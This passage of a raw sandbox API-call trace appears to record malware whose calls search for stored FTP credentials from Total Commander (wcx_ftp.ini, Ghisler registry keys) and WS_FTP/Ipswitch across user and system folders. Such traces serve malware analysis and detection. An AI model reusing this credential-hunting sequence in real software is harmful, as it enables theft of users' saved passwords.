(lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.372] LocalFree (hMem=0x640d18) returned 0x0 [0068.372] LocalFree (hMem=0x626b40) returned 0x0 [0068.372] LocalFree (hMem=0x626a88) returned 0x0 [0068.372] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.372] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.372] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.372] lstrlenA (lpString="\\GHISLER") returned 8 [0068.372] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x640d18 [0068.372] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.372] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GHISLER" | out: lpString1="C:\\ProgramData\\GHISLER") returned="C:\\ProgramData\\GHISLER" [0068.372] LocalFree (hMem=0x626a88) returned 0x0 [0068.372] lstrlenA (lpString="C:\\ProgramData\\GHISLER") returned 22 [0068.372] lstrlenA (lpString="\\") returned 1 [0068.372] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x626a88 [0068.372] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\ProgramData\\GHISLER" | out: lpString1="C:\\ProgramData\\GHISLER") returned="C:\\ProgramData\\GHISLER" [0068.372] lstrcatA (in: lpString1="C:\\ProgramData\\GHISLER", lpString2="\\" | out: lpString1="C:\\ProgramData\\GHISLER\\") returned="C:\\ProgramData\\GHISLER\\" [0068.372] LocalFree (hMem=0x640d18) returned 0x0 [0068.372] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.372] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.373] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.373] lstrlenA (lpString="C:\\ProgramData\\GHISLER\\") returned 23 [0068.373] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0068.373] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x629248 [0068.373] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\GHISLER\\" | out: lpString1="C:\\ProgramData\\GHISLER\\") returned="C:\\ProgramData\\GHISLER\\" [0068.373] lstrcatA (in: lpString1="C:\\ProgramData\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\ProgramData\\GHISLER\\wcx_ftp.ini") returned="C:\\ProgramData\\GHISLER\\wcx_ftp.ini" [0068.373] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x24 [0068.373] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.373] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GHISLER\\wcx_ftp.ini", lpDst=0x6292f8, nSize=0x24 | out: lpDst="C:\\ProgramData\\GHISLER\\wcx_ftp.ini") returned 0x23 [0068.373] CreateFileA (lpFileName="C:\\ProgramData\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\programdata\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.373] LocalFree (hMem=0x6292f8) returned 0x0 [0068.373] LocalFree (hMem=0x629248) returned 0x0 [0068.373] LocalFree (hMem=0x626a88) returned 0x0 [0068.373] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.373] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.374] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.374] lstrlenA (lpString="\\GHISLER") returned 8 [0068.374] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.374] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.374] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\GHISLER" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER" [0068.374] LocalFree (hMem=0x626a88) returned 0x0 [0068.374] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER") returned 38 [0068.374] lstrlenA (lpString="\\") returned 1 [0068.374] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.374] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER" [0068.374] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\" [0068.374] LocalFree (hMem=0x629248) returned 0x0 [0068.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.374] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.375] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\") returned 39 [0068.375] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0068.375] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x626a88 [0068.375] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\" [0068.375] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\wcx_ftp.ini") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\wcx_ftp.ini" [0068.375] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x34 [0068.375] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x626b48 [0068.375] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\wcx_ftp.ini", lpDst=0x626b48, nSize=0x34 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\wcx_ftp.ini") returned 0x33 [0068.375] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\users\\eebsym5\\appdata\\local\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.375] LocalFree (hMem=0x626b48) returned 0x0 [0068.375] LocalFree (hMem=0x626a88) returned 0x0 [0068.375] LocalFree (hMem=0x6292f8) returned 0x0 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.375] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.376] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.376] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.376] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.376] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.376] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.376] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.376] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.376] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.376] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.376] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.376] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.376] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fd9c | out: pcbWritten=0x12fd9c*=0x8) returned 0x0 [0068.376] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc4*=0x0, cb=0x4, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x4) returned 0x0 [0068.376] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdd8*=0x3, cb=0x2, pcbWritten=0x12fd9c | out: pcbWritten=0x12fd9c*=0x2) returned 0x0 [0068.376] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x0, cb=0x2, pcbWritten=0x12fd9c | out: pcbWritten=0x12fd9c*=0x2) returned 0x0 [0068.376] GetWindowsDirectoryA (in: lpBuffer=0x12fde7, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0068.376] lstrlenA (lpString="C:\\Windows") returned 10 [0068.376] lstrlenA (lpString="\\win.ini") returned 8 [0068.376] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x626a88 [0068.376] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0068.376] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\win.ini" | out: lpString1="C:\\Windows\\win.ini") returned="C:\\Windows\\win.ini" [0068.376] GetPrivateProfileStringA (in: lpAppName="WS_FTP", lpKeyName="DIR", lpDefault="", lpReturnedString=0x12fde7, nSize=0x104, lpFileName="C:\\Windows\\win.ini" | out: lpReturnedString="") returned 0x0 [0068.378] GetPrivateProfileStringA (in: lpAppName="WS_FTP", lpKeyName="DEFDIR", lpDefault="", lpReturnedString=0x12fde7, nSize=0x104, lpFileName="C:\\Windows\\win.ini" | out: lpReturnedString="") returned 0x0 [0068.378] LocalFree (hMem=0x626a88) returned 0x0 [0068.378] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.378] SHGetFolderPathA (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0068.379] lstrlenA (lpString="C:\\Program Files\\Common Files") returned 29 [0068.379] lstrlenA (lpString="\\Ipswitch\\WS_FTP") returned 16 [0068.379] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x640d18 [0068.379] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Program Files\\Common Files" | out: lpString1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0068.379] lstrcatA (in: lpString1="C:\\Program Files\\Common Files", lpString2="\\Ipswitch\\WS_FTP" | out: lpString1="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP") returned="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP" [0068.379] LocalFree (hMem=0x626a88) returned 0x0 [0068.379] lstrlenA (lpString="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP") returned 45 [0068.379] lstrlenA (lpString="\\*.*") returned 4 [0068.379] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x626a88 [0068.379] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP" | out: lpString1="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP") returned="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP" [0068.379] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP\\*.*") returned="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP\\*.*" [0068.379] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Ipswitch\\WS_FTP\\*.*", lpFindFileData=0x12fc8a | out: lpFindFileData=0x12fc8a) returned 0xffffffff [0068.379] LocalFree (hMem=0x626a88) returned 0x0 [0068.379] LocalFree (hMem=0x640d18) returned 0x0 [0068.379] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.379] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.379] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.379] lstrlenA (lpString="\\Ipswitch") returned 9 [0068.379] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x640d18 [0068.379] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.379] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Ipswitch" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch" [0068.379] LocalFree (hMem=0x626a88) returned 0x0 [0068.379] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch") returned 41 [0068.379] lstrlenA (lpString="\\*.*") returned 4 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x626a88 [0068.380] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch" [0068.380] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch\\*.*" [0068.380] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Ipswitch\\*.*", lpFindFileData=0x12fc76 | out: lpFindFileData=0x12fc76) returned 0xffffffff [0068.380] LocalFree (hMem=0x626a88) returned 0x0 [0068.380] LocalFree (hMem=0x640d18) returned 0x0 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.380] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.380] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.380] lstrlenA (lpString="\\Ipswitch") returned 9 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x640d18 [0068.380] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.380] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Ipswitch" | out: lpString1="C:\\ProgramData\\Ipswitch") returned="C:\\ProgramData\\Ipswitch" [0068.380] LocalFree (hMem=0x626a88) returned 0x0 [0068.380] lstrlenA (lpString="C:\\ProgramData\\Ipswitch") returned 23 [0068.380] lstrlenA (lpString="\\*.*") returned 4 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x626a88 [0068.380] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\ProgramData\\Ipswitch" | out: lpString1="C:\\ProgramData\\Ipswitch") returned="C:\\ProgramData\\Ipswitch" [0068.380] lstrcatA (in: lpString1="C:\\ProgramData\\Ipswitch", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Ipswitch\\*.*") returned="C:\\ProgramData\\Ipswitch\\*.*" [0068.380] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Ipswitch\\*.*", lpFindFileData=0x12fc76 | out: lpFindFileData=0x12fc76) returned 0xffffffff [0068.380] LocalFree (hMem=0x626a88) returned 0x0 [0068.380] LocalFree (hMem=0x640d18) returned 0x0 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.380] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.380] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.380] lstrlenA (lpString="\\Ipswitch") returned 9 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.380] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.380] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Ipswitch" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch" [0068.380] LocalFree (hMem=0x626a88) returned 0x0 [0068.380] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch") returned 39 [0068.380] lstrlenA (lpString="\\*.*") returned 4 [0068.380] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626a88 [0068.380] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch" [0068.380] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Ipswitch\\*.*" [0068.380] FindFirstFileA (in: 